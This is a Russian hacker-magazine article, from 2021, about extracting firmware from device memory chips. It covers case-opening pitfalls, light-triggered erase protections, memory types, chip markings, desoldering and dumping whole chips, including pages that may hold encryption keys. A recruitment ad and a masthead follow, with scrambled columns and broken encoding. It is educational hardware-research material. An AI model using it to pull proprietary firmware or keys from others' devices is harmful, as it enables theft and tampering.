ВСКРЫТИЕ Перв ое, что тебя может ждать на пути к заветн ой памяти с прош ивк ой, — это хорошо закрытый корпус. Врод е бы никаких пробл ем: взял крестовую отверт ку… Пост ой, а точно ли крестовую? Сейч ас сущест вует минимум пара десятк ов форм головок винт ов, и, конечн о, далеко не все они откруч иваю тся норм альн ыми человеч ескими инст румент ами. Для разб орки одного устрой‐ ства, напр имер, мне пришлось надфилем выпилив ать из плоск ой отвертки нужн ую форм у. WWW О трудн остях с винт ами можн о почитать в статье на Egear. Доп уст им, ты подобрал (или сделал) отвертку нужной форм ы. Молодец! Открут ил винты, поднял крышку, посл ышался треск текс тол ита — и устрой‐ ство можн о отправл ять на помойк у. Все потому, что плат а в твоем гадж ете не прост о болт ается внутри корп уса, а сложным образ ом объединена с раз‐ ными его частями. Обычн о это делается с помощью специальн ых защелок, которые вставляются в отверс тия плат ы, а при разборке корп уса ломают ее, делая дальнейшее изучение бесп олезн ым. Или треск не послышалс я. Тогда ты подключ аешьс я к тому, что обнаружил, читаешь память, а читаются одни нули. Как такое могл о произойти? Сов‐ ременн ые техн ологии позв оляю т производить крох отн ые SMD-фотоэлемен‐ ты, вроде фототранзист оров, которые обычно прим еняются в такой защите. Когда устройс тво обнар ужив ает, что на его плату попадае т хоть немн ого све‐ та (даже через маленькое отверстие в корпусе), прош ивка конт роллера сти‐ раетс я, а тебе остается нефункциональн ое устройство. И хорошо, если защита не спалит чего‑нибудь физическ и! INFO В некоторые устройства, например блоки питания компьютер ов, прои зводители встраивают сиг‐ нальную дымовую шашк у, которая сообщает о поломке. При ее сраб атывании аром атный синий дым отправ ит тебя в магазин за новым блок ом питания. Дело в том, что непривычный к подобным фокусам взор не может сраз у отли‐ чить фототр анзистор от того же светодиода, да и прив ычный тоже вряд ли с ходу справитс я. Если вообщ е заметит. ОСМОТР ПЛАТЫ Есл и вскрыт ие не показало, что пациент умер от вскрыт ия, я снач ала осматриваю плату в поисках пинов отладочных интерфейсов — обычно это JTAG или UART. Главная пробл ема не в том, что нужн ые конт акты могут быть в очень неожиданн ых местах, а в том, что обычн о они отключ ены. Конеч‐ но, даже в 2021 году все еще хватает уникумов, которые отправл яют в прод устройс тва с включ енн ым UART, но количест во таковых стремительн о падает. Если тебе не повезло — вариантов немн ого: или плакать в подушк у, или искать чип памяти на борт у и читать его непоср едст венн о. И вот с этим тебя ожидает уйма интересн ого! Думал, нужн о прост о вытащить восьминогую микр уху в DIP-корп усе, похожую на стар ый чип с BIOS? Как бы не так! Сейчас есть минимум четыре относительн о широко прим еняе мых вида памяти, и некотор ые из них могут быть похожи друг на друг а так, что не различишь. ПАМЯТЬ Прежд е чем я расскажу, что и как делать с памятью, давай сначала разб ерем‐ ся, какая она вообщ е бывает и как ее отличить от других компонентов на пла‐ те. По опыт у процесс ор (на скриншоте выше по цент ру) обычн о квадр атной фор‐ мы и исполняе тся в BGA, а память прямоугольн ая и делае тся в SOP-корп усах. Часто в ультрапорт ативн ых вычисл ительно мощн ых устройствах (смартфо‐ нах, напр имер) используетс я бутерб род из процесс ора и памяти — так мень‐ ше разм еры и задержки при работе. Форм‑факт ор, конечн о, BGA — просто потому, что ничего друг ого в крох отн ый корп ус запихнуть нельз я. ROM — постоянн ую память — отлич ить довольн о легк о. Предположим, чип с ней ты уже нашел. Теперь давай разб еремся, какая она бывает. Нас интер есует EEPROM (Electrically Erasable Programmable Read-Only Memory), FRAM (сегнетоэ лект рич еск ая память) и NOR/NAND flash — они тебе уже и так знакомы. Из них ты мог не слыш ать только о FRAM — ее начали при‐ менять около пяти лет назад, так что она еще не особ о популярн а. EEPROM Сред и особ енн остей этой памяти — побайтовые чтение и запись. Такая память самая долговечн ая: по расч етам, она может сохр анять информацию в течение прим ерно двухсот лет! Но за надежн ость приходитс я плат ить — главн ым образ ом объемом, с которым у этого вида памяти все плохо: типич‐ ный объем такого чипа измеряетс я в килобайт ах. Из‑за низкого объема для хранения прошивок этот тип памяти почти не прим еняе тся. Ну а раз заговорили о минусах — стоит и о низкой скор ости сказать. Устройство ячейк и памяти EEPROM Рес урс ячейк и — окол о миллиона цикл ов перезаписи. По сравнению с сов‐ ременн ыми ячейками NAND, у которых этот показатель находится в пред елах нескольк их десятков тысяч цикл ов, EEPROM-память прост о нереа льно надежн ая. FRAM FRAM — это совсем новый тип энерг онезависимой памяти. Пром ышл енно его применять стал и всег о неск ольк о лет назад, так что шанс встрет ить имен‐ но FRAM в каком‑нибудь умном холодильн ике небольш ой, но скоро все может поменятьс я. Пока что основная проблема в цене, которая нескольк о выше, чем у друг их типов памяти. Устройство FRAM-ячейк и. Похоже на DRAM, правда? От EEPROM отлич ается фунд амент альн о другим принципом запомин ания информац ии: хранитс я не заряд на затворе, а знак поляриз ации сегн етоэлек‐ трика. При прил ожен ии напр яжения она меняе тся на прот ивоположн ую, что позволяе т читать такую память и писать в нее. Из‑за нового принц ипа работы такая память значительн о быст рее, чем EEPROM, но ее долговечн ость осталась практически неизменной. NOR/NAND Flash NOR/NAND-флеш‑память — это просто EEPROM, собранный в масс ив. NOR от NAND отлич аетс я только спос обом упаковк и в масс ив, но это небольшое разл ичие ведет к достаточно сильным отлич иям в такой памяти. NOR быстрее и надежнее, чем NAND, но стои т дороже из‑за меньшей плот‐ ности комп оновки. NAND же, напротив, дешевая как мусор, но имее т проб‐ лемы с надежн остью. NOR- и NAND-память использ уется в SSD и всяк их флешках. Из‑за низк ой надежности NAND-памяти такие накопители в обяз ательном порядке имеют больш ой пул запасн ых ячеек, недоступных для обычного использования, и умный конт роллер, который всем этим хозяйс твом рулит. Держ ать такой оверх ед в ширпотребн ых умных мульт иварках непростительно дорого, так что применяе тся обычно NOR, а NAND остается для польз овательских накопи‐ телей, где пробл емы надежности можно переложить на пользователя, который не делает бэкапы. Хотя нет — даже в дешевых роутер ах она все чаще применяе тся благ одаря программ ным механизм ам защиты целостност и. Сводная таблица NOR-память была бы идеа льна, если бы не ее цена, так что рыночек порешал — и теперь у нас всех использ уетс я NAND почт и везд е. Даже во встраиваемой техн ике уже почти научились с ней безопасн о работать — конт рольные сумм ы, ECC-коды и резерв ные блоки. Красота! →Продолжение статьи
GEEK ← НАЧАЛО СТАТЬИ ПРОЧЕСТЬ ПАМЯТЬ КАК КРАДУТ ПРОШИВКУ УСТРОЙСТВ И КАКИЕ БЫВАЮТ ЗАЩИТЫ КОРПУСА МИКРОСХЕМ Как видишь, с корп усами у памяти все плох о: помимо показанных на картинке вариантов, можн о запр осто вспомнить еще с десяток, и не факт, что прои зво‐ дитель не решил использовать нечт о эксклюз ивное, у чего может вообще не быть назв ания. Маркировка Допустим, тебе повезло найт и чип с памятью. Перв ым делом нам нужно про‐ читать его маркировку. Если марк ировка есть — немал шанс встретить ее именно в таком форм ате, как показан на картинке выше. Перв ые две букв ы — код вендора, потом тип памяти в чипе, потом внутренний номер серии — и дальше уже четкой логики не прослеживае тся. Так как един ого стандарта нет и не предв идитс я, прои звод ител и вольны писать на свои х чипах, что счит ают нужным. Это порой приводит к колл изиям, вроде того, что представл ено на той же картинке: два чипа разных прои зво‐ дителей, оба 29-й серии, но один NOR, а другой — NAND. Короче, не уга‐ даешь, и такие чипы прих одитс я проб ивать в поиск овиках, чтобы выясн ить хоть что‑то. Типовой дизайн Уст ройства одного сегмента проектируются очень похожим и — это вполне очевидно. Например, все бытовые роутеры изнутри выглядят почти одинако‐ во. Та же ситуа ция на рынке устройс тв SCADA, у которых свои каноны, но они просл еживаются везд е без особых изменений. Я расс каж у о пяти категор иях устройс тв, с которыми тебе, возм ожно, при‐ дется иметь дело: • ПК; • сетевое обор удование бытовог о сегм ента (роутеры, свитч и, точк и дос‐ тупа); • оборудование для ответственн ых применений (на заводах); • IoT — интернет вещей; • смарт фон ы. Само собой, мир крут ится не тольк о вокр уг смарт фон ов да компью теров, но с ними у тебя шанс встретитьс я куда больше, чем с каким‑нибудь контрол‐ лером для управления ракетными двиг ателями. Поэтому давай расс мотрим типовое устройство тольк о этих пяти категорий девайс ов. ПК Уст ройство обычн ых ПК подразумев ает модульн ость, то есть почт и все детали можно легко вынуть. Из‑за этог о на матп лат е из элем ент ов памяти есть тольк о флешк а с BIOS/UEFI. При этом BIOS обычно сидит на микр осхе‐ мах 24-й серии — I2C EEPROM, а в новых моделях стоит 25-я серия SPI NOR flash с UEFI. Есл и же установлен взросл ый интеловский процессор с поддержкой ME — на плат е можн о найт и вторую такую же флешку, но с прош ивк ой для ME. Это делае тся в целях безопасн ости: находящуюся на физическ и отдельной микр осхеме прош ивк у заразить или подменить сложн ее. Intel ME Intel Management Engine — это особ ая система для UEFI-совместим ых ПК на базе проц есс оров Intel. Она имеет свою выделенн ую микр осхему памяти и собственн ый проц ессор, а также собст венн ые каналы доступа к сетевым адапт ерам и основной опер ативной памяти. Может без ограничений взаи мо‐ дейс твовать почти с чем угодн о в составе компьютер а, что очень сильно повышае т треб ования к ее защите. Бытовые роутеры С роутер ами потребительс ког о класса все довольн о прост о: тут став ят память SPI NOR 25-й серии, если требуется не больше 8 Мбайт, или NAND- память объемом побольше. Изредка можно найти eMMC, но мне такое пока не попадалось. Устройства для ответственного применения Тут все немн ого сложн ее. Стандарты треб уют странных вещей, поэтому с больш ой вероятностью устройс тва этой категор ии будут состоять из нес‐ кольких плат, соединенн ых переходн ыми интерфейс ами. Будет мног о разных запомин ающих устройс тв, чтобы просто пройти сертификац ию. Логи обычн о пишутся в EEPROM или FRAM 24-й серии, загрузчик лежит на NOR 25-й серии, а все встрое нное ПО клад ут на NOR 26-й, 29-й серии. NAND использ уют редк о, а если использ уют — сраз у большими массивами с резерв ированием. IoT Сейчас понятие IoT слишком растяжимое: по сути, туда можн о записать вооб‐ ще все умное домашнее и даже не очень домашн ее. Из‑за этого память там может быть любая: хоть EEPROM, хоть eMMC — это когда NAND с хост‑кон‐ тролл ером упак ован ы в один чип. Смартфоны В смарт фон ах обычн о все самое передов ое: тут тебе и eMMC, и eUFS, и даже NVMe SSD, как у Apple. При этом, как ни крут и, все эти чипы выглядят плюс‑минус одинаков о, так что ты их ни с чем не спут аешь. РАСШИФРОВКА ИМЕНИ Теп ерь, когда нашли нужн ый чип и проч итали марк ировк у, ее нужно декоди‐ ровать. Кстати, марк ировк а далеко не всегда читае тся целиком: часть может быть случайно или намеренно скрыта, а то и вовс е подд елана, как любят устраивать китайцы со свои ми деталями на Али. Особ о крупн ые производ ител и могут предоставлять на свои х сайтах декодеры имени микр осхем ы, но почти никт о так не делает. Похвальный прим ер — производитель Micron, который дал на сайт е внят‐ ную инст рукцию и форму для получения даташит а на свои микр осхемы. Есл и же декодер а нет, придется выкручиваться. Можн о попробовать разоб‐ ратьс я по схеме на скринш оте ниже, но, естественн о, безо всяк их гарант ий успеха. Возм ожно, даже лучш е сраз у идти к японцам — они очень любят неадекв атно запутанн ые названия без извест ной логики. Она, конечно, есть, но пока что никт о ее не смог понять. ПОИСК ДОКУМЕНТАЦИИ Гугл ить, думаю, ты и сам умее шь, но для поиск а документации ко всяким экзотическим чипам это может быть бесп олезно. Во‑первых, более эффекти‐ вен поиск по первым N символам названия микросхемы. Во‑втор ых, част о прощ е найти по коду на Aliexpress или друг их крупн ых торг овых площ адках. Если уж любишь Google, попр обуй поиск по карт инкам — там порой можн о найти то, что текс том не ищется. Еще огромные базы чипов есть в ПО для программаторов — я использ ую ПО комп ании Elnec. Зачаст ую там даже есть даташит ы, но слишком на это надеяться не стои т. И еще одно хорошее мест о для поиск ов — GitHub. С большим шансом там найд ется что‑нибудь по запросу в духе «X microcircuit read poc». Дальше мож‐ но выдр ать ссылку на даташит или что‑то еще полезн ое. Мне попадались даже скрыт ые серв исные команд ы для блокировк и/разблок ировк и чипа, что, конечно, очень приятно при изучении. ОБОРУДОВАНИЕ Тут можно тольк о сказ ать, чего делать не стои т: не надо брать дешевые инс‐ трум ент ы и расх одники. Из моего любимог о — припой, который плав ится при совершенно неожиданн ых температур ах, пров одящ ий флюс (!) и одно‐ разовые пинц еты. Подробнее хочется рассказ ать о дешевом флюс е. Как прим ер — ТТ, такж е извест ный как розовый гель. Он хорош, но он не отмыв ается и проводит ток на высоких част отах. Это не пробл ема в советс ком радио или даже сов‐ ременном блок е питания, но вот на плат ах компьютеров с гигагерцами час‐ тоты он категорически прот ивоп оказ ан. Снят ие комп аунда — это вопр ос темп ературы. Я обычн о грею феном на ~250 градусов, но есть одна проблемка. И состоит она в том, что под ком‐ паунд ом комп оненты могут быть припаяны низкотемп ературным прип оем, вроде сплав ов Розе или Вуда. Да, комп аунд ты снимешь, но вместе с ним сойдет половина плат ы. А хитр ая флешка может не завестись без кучи рас‐ сыпухи, которую обратно уже не собрать. WARNING При снят ии компаунд а не забывай о вытяжке — твое здоровье важнее любой микросхемы! Что делать, если плат а покр ыта лаком? Можно попр обовать свести его аце‐ тоном, но он может повр едить текс тол ит. Делай так, тольк о если тебе терять нечего. Для остальных случаев — просто снимать скальп елем в нужн ых мес‐ тах, а остальн ое не трогать. При пайке ориентир уйс я на граф ик терм опрофиля в конце даташит а на микросхем у. Он там размещается не просто так, и на моей памяти дей‐ ствительн о были случ аи, когда микр осхема умирала от перегр ева при извле‐ чении. Как извест но, люди делятся на тех, кто не смотр ит графики в докумен‐ тации, и тех, кто уже смотрит. К заводс кому припою часто имее т смысл примешать менее тугоплавкий сплав Розе или ПОС63, ну или сплав Вуда, если все совс ем плох о. Это зна‐ чительн о понизит температуру пайк и и увел ичит шанс ы не сжечь микр уху. ПОДГОТОВКА К ЧТЕНИЮ После выпайк и ни в коем случае нельзя устраи вать микр осхеме температур‐ ные испытания: пусть полежит и остын ет сама, а не в спирте — так шансы сох‐ ранить работоспособн ость куда выше. Дальше нужно проверить, все ли лапки чипа находятс я в одной плоск ости и не образ овал ись ли от прип оя перемычк и межд у ножками. Их нужн о убрать, чтобы не спалить прогр амматор, не име‐ ющий защиты от такого, и сам чип тоже. С BGA нужно убрать стар ый припой и нанест и новые шарики. Когд а чип очи‐ щен и подг отовлен к чтен ию, не вздум ай пихать его в прогр амматор с при‐ жимом прямо в чип — велик шанс просто разд авить его! ЧИТАЕМ! Помни, что память NOR flash идет с завода без битых ячее к, а у NAND есть допустимый процент брак а, так что, если в NAND видны битые ячейк и, не спе‐ ши расст раиваться. Программатор перед чтен ием нужн о правильно наст роить. В частност и, надо заст авить его читать все, включ ая системные страницы в начале и конце памяти — они бываю т крайн е важны! Разработч ики чипа наст оятельно рекомендуют разработчикам устройства использовать свои чипы в соотв етствии с некотор ыми правилами. Но втор ые вольны не подч инятьс я перв ым, так что сист емные стран ицы порой оказыва‐ ются хранилищ ем ключей шифрования или каких‑то других данных. В общем, читай все — лишним точн о не будет. Вот теперь у тебя есть образ, который можн о груз ить в IDA и ковыряться дальше, но это уже тема для отдельн ой статьи.
СТАНЬ АВ «ХАКЕ «Хакеру» нужны новые авторы из них! Если тебе интересно желание исследовать эти темы возможность вступить в ряды за это все, что им причитается. • Àâòîðû ïîëó÷àþò äåíåæíîå от сложности и уникальности темы не от объема текста). • Íàøè àâòîðû ÷èòàþò «Õàêåð» статья приносит месяц подписки и з ку. Уже после третьего раза подписк Кроме того, íàëè÷èå ïóáëèêàöèé — ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû англоязычной версии, так что ó òåáÿ ðóáåæîì. И конечно, ìû âñåãäà óêàçûâàå àâòîðà. На сайте ты можешь сам запо написать что-то о себе, добавить ссыл наоборот, не делать этого в целях консп ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎ ÑÒÀÒÜÞ? Главное в нашем деле — знания по те тему — значит, и написать сможешь. неваться — поддержим, накосячишь — столько редакторов! Они не только пр и форматом и «причесывают» автор ходимость. И конечно, перед публикаци ки и вносим новые, если нужно. ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ? Темы для статей — дело непростое, показаться. Стоит начать, и ты навер за другой! Первым делом задай себе нескольк • «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî Частый случай: люди делают что занятие вполне обыденным. Если т про реверс малвари, сборку ядра соров или хранение данных в ДНК, благодарных читателей. • «Áûëè ëè ó ìåíÿ â ïîñëåäíåå â ты ресерчишь, багхантишь, решаеш разрабатываешь что-то необычно какую-то удобную штуковину, обяза думаем, как лучше подать твои нара • «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ Попробуй вспомнить: если ты букв о чем-то очень важном или захватыв с немалой вероятностью это мож Или как минимум натолкнет тебя на т • «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåð мы о чем-то не писали, это могло б никому не пришла в голову эта т взял бы ее на себя. Кстати, даже есл кинуть нам идею все равно можно. Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé? 1. Придумываешь актуальную тему или 2. Описываешь эту тему так, чтобы бы ее кому-то читать. Обычно достато предложений (pro tip: их потом можн 3. Выбираешь редактора и отправляеш он разберется). Заодно неплохо б слов о себе. 4. С редактором согласуете детали и с ет тебе правила оформления и отвеч 5. Пишешь статью в срок и отправляе лемы, сомнения или просто задержк 6. Редактор читает статью, принима доработать и руководством к действ 7. Перед публикацией получаешь ве с редактором (или просто даешь доб 8. Дожидаешься выхода статьи и посту TL;DR Если хочешь публиковаться в «Хакере и предложи редакции.
ВТОРОМ ЕРА»! ы, и ты можешь стать одним то, о чем мы пишем, и есть ы вместе с нами, то не упусти ы наших авторов и получать . âîçíàãðàæäåíèå. Размер зависит ы и объема проделанной работы (но áåñïëàòíî: каждая опубликованная значительно увеличивает личную скид- ка станет бесплатной навсегда. — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü û â òåìå. А еще мы планируем запуск áóäåò øàíñ áûòü óçíàííûì è çà åì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì олнить характеристику, поставить фото, лку на сайт и профили в соцсетях. Или, пирации. ÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ еме, а не корочки журналиста. Знаешь Не умеешь — поможем, будешь сом- — отредактируем. Не зря у нас работает равят буквы, но и помогают с темами рский текст, если в этом есть необ- ией мы согласуем с автором все прав- , но и не такое сложное, как может рняка будешь придумывать темы одну ко простых вопросов: î ìîæåò çàèíòåðåñîâàòü äðóãèõ?» о-то потрясающее, но считают свое твоя мама и девушка не хотят слушать Linux, проектирование микропроцес- это не значит, что у тебя не найдется âðåìÿ èíòåðåñíûå ïðîåêòû?» Если шь crackme или задачки на CTF, если ты ое или даже просто настроил себе ательно расскажи нам! Мы вместе при- аботки. þ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?» вально недавно рассказывал кому-то вающем (и связанным с ИБ или ИТ), то жет быть неплохой темой для статьи. тему. ðå óïóñòèëè ÷òî‑òî âàæíîå?» Если быть не умышленно. Возможно, просто тема или не было человека, который ли писать сам ты не собираешься, под- и несколько. ыло понятно, что будет в статье и зачем очно рабочего заголовка и нескольких но пустить на введение). шь ему свои темы (можно главреду — бывает представиться и написать пару сроки сдачи черновика. Также он выда- чает на все интересующие вопросы. ешь ее. Если возникают какие-то проб- ки, ты знаешь, к кому обращаться. ает ее или возвращает с просьбой вию. ерсию с правками и обсуждаешь их бро). упления вознаграждения. е», придумай тему для первой статьи
№09 (270) Илья Ру Андрей Письм енн ый Зам. главног Главн ый редакт ор по технически [email protected] rusanen Евгения Ш Литературны Анд рей Письм енный РЕДАКТОР [email protected] Евгений Татья на Чупрова [email protected] zobnin@ Ма Бруцкий-Сте brutsky@ MEGAN Мария Не nefedova АР yamb yambuto@ РЕКЛ Анна Як Директ ор по с yakovleva. РАСПРОСТРАНЕН Вопр осы по подписке: [email protected] Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, Югай Алекс андр Олегович, 400046, Волг оградская область, г. Волг огра город Москва, Волокол амс кое шоссе, дом 1, строе ние 1, этаж 8, помещ по надз ору в сфер е связи, информац ионных технологий и масс овых ком 08.2016 года. Мнен ие редакц ии не обязательно совпадает с мнен ием к размышлен ию. Лица, использ ующие данную информац ию в противо не несет ответст венности за содерж ание рекл амных объявлений в номе редакц ионных материа лов журн ала обращ айтесь по адрес у: [email protected]
усанен Алекс ей Глазк ов Выпускающий редактор го редактора им вопросам [email protected] [email protected] Шарипова ый редакт ор РЫ РУБРИК й Зобнин Валент ин Холмогоров @glc.ru [email protected] арк Иван «aLLy» Андрее в емпковский [email protected] @glc.ru NEWS ефёдов а [email protected] РТ buto @gmail.com ЛАМА ковл ева спецпрое ктам [email protected] НИЕ И ПОДПИСКА В опр осы по материалам: [email protected] строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП ад, ул. Дружб ы народов, д. 54. Учредитель: ООО «Медиа Кар»125080, щен ие IX, комн ата 54, офис 7. Зарегистрирован о в Федеральной служб е мм уникаций (Роск омнадз оре), свид етельство Э л № Ф С77-6 7001 от 30. м автор ов. Все материа лы в номере предоставляю тся как информация озаконных целях, могут быть привлечены к ответст венн ости. Редакция ере. По вопросам лицензирован ия и получен ия прав на использ ование ru. © Журнал «Хакер», РФ, 2021
Search
Read the Text Version
- 1 - 38
Pages: